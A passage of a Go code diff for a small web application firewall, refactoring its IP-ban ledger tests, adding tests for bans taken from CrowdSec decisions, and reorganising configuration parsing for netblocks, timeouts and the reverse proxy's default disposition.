|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -585,11 +539,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Once a first ban for an attack has ended, the next would be permanent.
|
// Once a first ban for an attack has ended, the next would be permanent.
|
||||||
attack, _ := ledger.Ban(
|
attack, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
|
||||||
)
|
|
||||||
if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) {
|
if !ledger.WouldBePermanent(netblock, attack.Expires, bans.CauseAttack) {
|
||||||
t.Error("a second ban for an attack would not be permanent")
|
t.Error("a second ban for an attack would not be permanent")
|
||||||
}
|
}
|
||||||
@@ -603,16 +553,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
|||||||
|
|
||||||
// Three times the seven days would be permanent; a limit broken as the
|
// Three times the seven days would be permanent; a limit broken as the
|
||||||
// ban for an attack ends bans for an hour, as a first broken limit does.
|
// ban for an attack ends bans for an hour, as a first broken limit does.
|
||||||
attack, _ := ledger.Ban(
|
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseAttack},
|
|
||||||
)
|
|
||||||
limit, _ := ledger.Ban(
|
|
||||||
netblock,
|
|
||||||
attack.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
limit.Cause != bans.CauseLimit {
|
limit.Cause != bans.CauseLimit {
|
||||||
@@ -636,13 +578,10 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
|||||||
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{
|
bans.Notes{Request: request},
|
||||||
Cause: bans.CauseLimit,
|
|
||||||
Notes: bans.Notes{Request: request},
|
|
||||||
},
|
|
||||||
)
|
)
|
||||||
|
|
||||||
cut := long[:256]
|
cut := long[:256]
|
||||||
@@ -668,20 +607,11 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
|||||||
|
|
||||||
// A ban made with the client's lookup, one made before it came, after
|
// A ban made with the client's lookup, one made before it came, after
|
||||||
// the first ended, and one on another netblock.
|
// the first ended, and one on another netblock.
|
||||||
ledger.Ban(netblock, midnight(), bans.Grounds{
|
ledger.BanForLimit(netblock, midnight(), bans.Notes{
|
||||||
Cause: bans.CauseLimit,
|
ASN: "AS64497", ASName: "Other Net", Country: "FR",
|
||||||
Notes: bans.Notes{
|
|
||||||
ASN: "AS64497",
|
|
||||||
ASName: "Other Net",
|
|
||||||
Country: "FR",
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
ledger.Ban(
|
ledger.BanForLimit(netblock, midnight().Add(time.Hour), bans.Notes{})
|
||||||
netblock,
|
ledger.BanForLimit(other, midnight(), bans.Notes{})
|
||||||
midnight().Add(time.Hour),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
ledger.Ban(other, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
|
||||||
|
|
||||||
ledger.AddLookup(netblock, "AS64496", "Example Net", "DE")
|
ledger.AddLookup(netblock, "AS64496", "Example Net", "DE")
|
||||||
|
|
||||||
@@ -722,7 +652,7 @@ func defaultParams() bans.Params {
|
|||||||
return bans.Params{
|
return bans.Params{
|
||||||
LimitBanDuration: time.Hour,
|
LimitBanDuration: time.Hour,
|
||||||
LimitBanRepeatWindow: day,
|
LimitBanRepeatWindow: day,
|
||||||
LimitBanPermanentAbove: 7 * day,
|
MaxBanDuration: 7 * day,
|
||||||
AttackBanDuration: 7 * day,
|
AttackBanDuration: 7 * day,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,136 @@
|
|||||||
|
package bans_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/netip"
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
)
|
||||||
|
|
||||||
|
// scenario is the scenario of the tests' CrowdSec decisions.
|
||||||
|
const scenario = "crowdsecurity/ssh-bf"
|
||||||
|
|
||||||
|
func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
ledger := bans.New(defaultParams())
|
||||||
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
expires := midnight().Add(4 * time.Hour)
|
||||||
|
|
||||||
|
// The ban that would be made is not made.
|
||||||
|
would, wouldBan := ledger.WouldBanForCrowdSec(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"would ban %t, and the ledger holds %+v, want true and nothing",
|
||||||
|
wouldBan,
|
||||||
|
ledger.Bans(netblock),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
const reason = "CrowdSec's decision for " + scenario
|
||||||
|
|
||||||
|
ban, made := ledger.BanForCrowdSec(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
if !made || !reflect.DeepEqual(ban, would) ||
|
||||||
|
ban.Cause != bans.CauseCrowdSec ||
|
||||||
|
!ban.Expires.Equal(expires) ||
|
||||||
|
ban.Reason != reason ||
|
||||||
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
|
t.Errorf(
|
||||||
|
"made %t the ban %+v, want the one that would be made, %+v, for "+
|
||||||
|
"crowdsec until %s",
|
||||||
|
made,
|
||||||
|
ban,
|
||||||
|
would,
|
||||||
|
expires,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A second decision on the netblock while the ban lasts makes no other.
|
||||||
|
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
||||||
|
expires.Add(time.Hour), scenario, bans.Notes{})
|
||||||
|
if made || !again.Expires.Equal(expires) ||
|
||||||
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
|
t.Errorf(
|
||||||
|
"made %t the ban %+v while the first lasts, want none",
|
||||||
|
made,
|
||||||
|
again,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
ledger := bans.New(defaultParams())
|
||||||
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
expires := midnight().Add(4 * time.Hour)
|
||||||
|
ledger.BanForCrowdSec(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
|
// A request as the ban ends is refused, and leaves it as it is.
|
||||||
|
last := expires.Add(-time.Nanosecond)
|
||||||
|
|
||||||
|
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
||||||
|
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
||||||
|
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
||||||
|
t.Errorf(
|
||||||
|
"as the ban ends, banned %t with %+v, made permanent %t, want "+
|
||||||
|
"refused under the ban as it was",
|
||||||
|
banned,
|
||||||
|
held,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
||||||
|
t.Error("the ban refuses a request once the decision has ended")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
ledger := bans.New(defaultParams())
|
||||||
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
|
// Three times the three days would be permanent; a limit broken as the
|
||||||
|
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
||||||
|
// limit does.
|
||||||
|
crowdSec, _ := ledger.BanForCrowdSec(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
midnight().Add(3*day),
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
||||||
|
|
||||||
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
|
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
||||||
|
t.Errorf(
|
||||||
|
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
||||||
|
limit,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -19,29 +19,25 @@ func TestChangedAfterABanIsMade(t *testing.T) {
|
|||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
ledger.Ban(netblock, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// A limit broken during the ban makes no other, and a refusal changes
|
// A limit broken during the ban makes no other, and a refusal changes
|
||||||
// only the counts in the notes, which wait for the interval's write.
|
// only the counts in the notes, which wait for the interval's write.
|
||||||
ledger.Ban(
|
ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
ledger.Check(netblock.Addr(), midnight().Add(time.Minute))
|
ledger.Check(netblock.Addr(), midnight().Add(time.Minute))
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// Two bans before the value is read leave one.
|
// Two bans before the value is read leave one.
|
||||||
ledger.Ban(
|
ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.10/32"),
|
netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
ledger.Ban(
|
ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.11/32"),
|
netip.MustParsePrefix("203.0.113.11/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
@@ -55,14 +51,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
|||||||
high := netip.MustParsePrefix("203.0.113.10/32")
|
high := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
low := netip.MustParsePrefix("203.0.113.9/32")
|
low := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(v6, midnight(), bans.Notes{})
|
||||||
v6,
|
ledger.BanForLimit(high, midnight(), bans.Notes{})
|
||||||
midnight(),
|
ledger.BanForLimit(low, midnight(), bans.Notes{})
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
ledger.BanForLimit(v6, first.Expires, bans.Notes{})
|
||||||
)
|
|
||||||
ledger.Ban(high, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
|
||||||
ledger.Ban(low, midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
|
||||||
ledger.Ban(v6, first.Expires, bans.Grounds{Cause: bans.CauseLimit})
|
|
||||||
|
|
||||||
snapshot := ledger.Snapshot()
|
snapshot := ledger.Snapshot()
|
||||||
|
|
||||||
@@ -88,10 +80,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
|
|
||||||
before := bans.New(defaultParams())
|
before := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := before.Ban(netblock, midnight(), bans.Grounds{
|
ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1})
|
||||||
Cause: bans.CauseLimit,
|
|
||||||
Notes: bans.Notes{Limit: 1},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Loaded into a new ledger, as across a restart, the ban still refuses
|
// Loaded into a new ledger, as across a restart, the ban still refuses
|
||||||
// while it lasts, and once it has ended a broken limit bans for three
|
// while it lasts, and once it has ended a broken limit bans for three
|
||||||
@@ -107,11 +96,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
t.Error("the loaded ban does not refuse")
|
t.Error("the loaded ban does not refuse")
|
||||||
}
|
}
|
||||||
|
|
||||||
again, _ := after.Ban(
|
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
||||||
netblock,
|
|
||||||
ban.Expires,
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
||||||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -139,10 +124,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
|||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
ledger.Ban(
|
ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("198.51.100.7/32"),
|
netip.MustParsePrefix("198.51.100.7/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
for client, want := range map[string]bool{
|
for client, want := range map[string]bool{
|
||||||
@@ -215,7 +200,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A limit broken now makes no shorter ban over the permanent one.
|
// A limit broken now makes no shorter ban over the permanent one.
|
||||||
ban, _ = ledger.Ban(netblock, now, bans.Grounds{Cause: bans.CauseLimit})
|
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"a broken limit returned %+v and left the netblock %d bans, "+
|
"a broken limit returned %+v and left the netblock %d bans, "+
|
||||||
@@ -251,10 +236,10 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
|||||||
// Once both have ended, a limit broken within the repeat window bans
|
// Once both have ended, a limit broken within the repeat window bans
|
||||||
// for three times the 9 hours, and the notes count the two bans
|
// for three times the 9 hours, and the notes count the two bans
|
||||||
// before the 9-hour one and it, for a limit, and the admin's.
|
// before the 9-hour one and it, for a limit, and the admin's.
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(
|
||||||
netblock,
|
netblock,
|
||||||
nineHours.Expires.Add(time.Hour),
|
nineHours.Expires.Add(time.Hour),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
||||||
@@ -328,15 +313,15 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// The ledger holds one ban, so it makes two more without dropping any.
|
// The ledger holds one ban, so it makes two more without dropping any.
|
||||||
first, _ := ledger.Ban(
|
first, _ := ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("198.51.100.7/32"),
|
netip.MustParsePrefix("198.51.100.7/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
second, _ := ledger.Ban(
|
second, _ := ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("198.51.100.8/32"),
|
netip.MustParsePrefix("198.51.100.8/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
want := []bans.Ban{first, second, kept}
|
want := []bans.Ban{first, second, kept}
|
||||||
|
|||||||
+28
-34
@@ -16,11 +16,8 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
"github.com/spf13/viper"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// off is the value that switches a timeout, a size limit or a rate limit
|
// off is the value that switches a timeout, a size limit or a rate limit
|
||||||
@@ -40,9 +37,9 @@ var (
|
|||||||
errNotSize = errors.New(
|
errNotSize = errors.New(
|
||||||
"is not a size such as 512K, 100M or 5G, or off")
|
"is not a size such as 512K, 100M or 5G, or off")
|
||||||
errNotPositive = errors.New("must be more than zero, or off")
|
errNotPositive = errors.New("must be more than zero, or off")
|
||||||
errNotMilliseconds = errors.New(
|
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
|
||||||
errEmptyItem = errors.New("has an empty item in its list")
|
errEmptyItem = errors.New("has an empty item in its list")
|
||||||
|
errNotNetblock = errors.New(
|
||||||
|
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||||
errNotListenAddr = errors.New(
|
errNotListenAddr = errors.New(
|
||||||
"is not an address to listen on, such as :8080")
|
"is not an address to listen on, such as :8080")
|
||||||
errNotCommand = errors.New("is not rproxy or waf")
|
errNotCommand = errors.New("is not rproxy or waf")
|
||||||
@@ -65,10 +62,10 @@ func Command(v *viper.Viper) (string, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
// environment is where FromEnvironment reads the settings: it notes each
|
||||||
// settings: it notes each value for the log, and keeps the first error. It
|
// value for the log, and keeps the first error. It reads every setting
|
||||||
// reads every setting through v, the viper NewViper returns, and honours
|
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||||
// each setting's _FILE form too.
|
// form too.
|
||||||
type environment struct {
|
type environment struct {
|
||||||
v *viper.Viper
|
v *viper.Viper
|
||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
@@ -165,19 +162,6 @@ func (e *environment) size(name, defaultValue string) int64 {
|
|||||||
return size
|
return size
|
||||||
}
|
}
|
||||||
|
|
||||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
|
||||||
// zero.
|
|
||||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|
||||||
value := e.value(name, defaultValue)
|
|
||||||
|
|
||||||
duration, valid := parseMilliseconds(value)
|
|
||||||
if !valid {
|
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
|
||||||
}
|
|
||||||
|
|
||||||
return duration
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||||
// powers of 1024 (1K is 1024 bytes), or off.
|
// powers of 1024 (1K is 1024 bytes), or off.
|
||||||
func parseSize(value string) (int64, error) {
|
func parseSize(value string) (int64, error) {
|
||||||
@@ -214,17 +198,6 @@ func splitUnit(value string) (string, int64) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
|
||||||
// reports whether it is one.
|
|
||||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
|
||||||
n, err := strconv.ParseInt(value, 10, 64)
|
|
||||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
|
||||||
return 0, false
|
|
||||||
}
|
|
||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseList splits a comma-separated list and trims the spaces around
|
// parseList splits a comma-separated list and trims the spaces around
|
||||||
// each item. An empty value is an empty list.
|
// each item. An empty value is an empty list.
|
||||||
func parseList(value string) ([]string, error) {
|
func parseList(value string) ([]string, error) {
|
||||||
@@ -253,7 +226,7 @@ func parseNetblocks(value string) ([]netip.Prefix, error) {
|
|||||||
netblocks := make([]netip.Prefix, 0, len(items))
|
netblocks := make([]netip.Prefix, 0, len(items))
|
||||||
|
|
||||||
for _, item := range items {
|
for _, item := range items {
|
||||||
netblock, err := reputation.ParseNetblock(item)
|
netblock, err := ParseNetblock(item)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -264,6 +237,27 @@ func parseNetblocks(value string) ([]netip.Prefix, error) {
|
|||||||
return netblocks, nil
|
return netblocks, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ParseNetblock reads a netblock in CIDR form, such as 10.0.0.0/8. A bare
|
||||||
|
// address is a netblock of that address alone, a /32 or a /128. A
|
||||||
|
// blocklist's lines are read with it too.
|
||||||
|
func ParseNetblock(value string) (netip.Prefix, error) {
|
||||||
|
if strings.Contains(value, "/") {
|
||||||
|
netblock, err := netip.ParsePrefix(value)
|
||||||
|
if err != nil {
|
||||||
|
return netip.Prefix{}, fmt.Errorf("%q %w", value, errNotNetblock)
|
||||||
|
}
|
||||||
|
|
||||||
|
return netblock.Masked(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
addr, err := netip.ParseAddr(value)
|
||||||
|
if err != nil || addr.Zone() != "" {
|
||||||
|
return netip.Prefix{}, fmt.Errorf("%q %w", value, errNotNetblock)
|
||||||
|
}
|
||||||
|
|
||||||
|
return netip.PrefixFrom(addr, addr.BitLen()), nil
|
||||||
|
}
|
||||||
|
|
||||||
// parseListenAddr checks an address to listen on: an optional host and a
|
// parseListenAddr checks an address to listen on: an optional host and a
|
||||||
// port number.
|
// port number.
|
||||||
func parseListenAddr(value string) (string, error) {
|
func parseListenAddr(value string) (string, error) {
|
||||||
|
|||||||
+37
-15
@@ -4,6 +4,7 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log/slog"
|
"log/slog"
|
||||||
|
"math"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
@@ -24,15 +25,13 @@ type RProxy struct {
|
|||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
|
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||||
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
|
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
|
||||||
// cannot be off.
|
Timeout time.Duration
|
||||||
WAFBackendTimeout time.Duration
|
// DefaultDisposition is what is done with a request when waf cannot be
|
||||||
// WAFBackendNoAnswerDisposition is what is done with a request when waf
|
// connected to, does not answer at all, or does not answer within Timeout:
|
||||||
// cannot be connected to, does not answer at all, or does not answer
|
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
|
||||||
// within WAFBackendTimeout: allow or deny
|
DefaultDisposition string
|
||||||
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
|
|
||||||
WAFBackendNoAnswerDisposition string
|
|
||||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
||||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
||||||
MaxRequestSize int64
|
MaxRequestSize int64
|
||||||
@@ -64,6 +63,8 @@ var (
|
|||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
|
errNotMilliseconds = errors.New(
|
||||||
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||||
)
|
)
|
||||||
@@ -88,12 +89,9 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
|||||||
privateRanges,
|
privateRanges,
|
||||||
),
|
),
|
||||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
||||||
WAFBackendTimeout: env.milliseconds(
|
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
|
||||||
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
|
DefaultDisposition: env.disposition(
|
||||||
"2000",
|
"SWW_RPROXY_DEFAULT_DISPOSITION",
|
||||||
),
|
|
||||||
WAFBackendNoAnswerDisposition: env.disposition(
|
|
||||||
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
|
|
||||||
"allow",
|
"allow",
|
||||||
),
|
),
|
||||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
||||||
@@ -175,6 +173,19 @@ func (e *environment) disposition(name, defaultValue string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||||
|
// zero.
|
||||||
|
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||||
|
value := e.value(name, defaultValue)
|
||||||
|
|
||||||
|
duration, valid := parseMilliseconds(value)
|
||||||
|
if !valid {
|
||||||
|
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||||
|
}
|
||||||
|
|
||||||
|
return duration
|
||||||
|
}
|
||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(
|
func (e *environment) millisecondsOrOff(
|
||||||
@@ -193,6 +204,17 @@ func (e *environment) millisecondsOrOff(
|
|||||||
return duration
|
return duration
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||||
|
// reports whether it is one.
|
||||||
|
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||||
|
n, err := strconv.ParseInt(value, 10, 64)
|
||||||
|
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
|
||||||
|
return time.Duration(n) * time.Millisecond, true
|
||||||
|
}
|
||||||
|
|
||||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||||
// optional port from 1 to 65535, and nothing else, since the request's
|
// optional port from 1 to 65535, and nothing else, since the request's
|
||||||
// own path and query go to the app unchanged.
|
// own path and query go to the app unchanged.
|
||||||
|
|||||||
@@ -16,8 +16,8 @@ import (
|
|||||||
// rproxy's settings, by name, and their values in these tests.
|
// rproxy's settings, by name, and their values in these tests.
|
||||||
const (
|
const (
|
||||||
